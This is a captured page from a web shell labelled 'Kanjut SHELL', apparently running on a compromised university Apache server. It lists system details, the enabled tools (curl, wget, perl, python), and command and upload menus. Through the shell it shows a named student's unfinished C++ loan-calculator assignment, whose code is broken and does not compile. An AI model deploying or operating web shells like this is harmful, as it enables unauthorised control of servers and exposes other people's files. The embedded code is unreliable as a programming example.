Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.216.42.225
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/dobutler/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/dobutler/assign1.cpp
//-----------------------------------------------------------
// Assignment 1 
//
// Written by Damien Butler
// 
// Purpose: To calculate the amount of money owed on a loan
// -----------------------------------------------------------
//-----------Preprocessor Section---------

#include <iostream>
#include <iomanip>
using namespace std;


// ----------- Main Function ----------

int main(

{

// ---------- Variables and constants-----------

const int

   loan amount        = 500000'  // Total loan amount owed
   interest rate      = .2'      // Interest rate on the loan
   number of payments = 36;      // Number of monthly payments
   
   
int
  
   loan amount paid,            // amount paid on the loan

float
   
    
   






// ----------- Input Phases -----------

	
	//Loan amounts
	cout <<"Enter loan amount:";
	cin >> loan amount;
	cout <<"Enter annual interest rate:";
	cin >> interest rate;
	cout <<"Enter number of monthly payments:";
	cin >> amount of payments; 
 


// ----------- Processing -----------

 payment = ((1+i/12)pow(n))/ ((1+i/12)pow(n)-1)) (500000)(i/12)

 Balance = payment (1-(1+i/12)pow(k,n)/(i/12)





//	------Loan Summary-----


Anuual Interest rate:
Number of Monthly Paymnets:

Loan Amount:                 $ 
Monthly payment:             $  
Balance halfway through:     $ 
Total interest paid:         $

Stv3n404 - 2023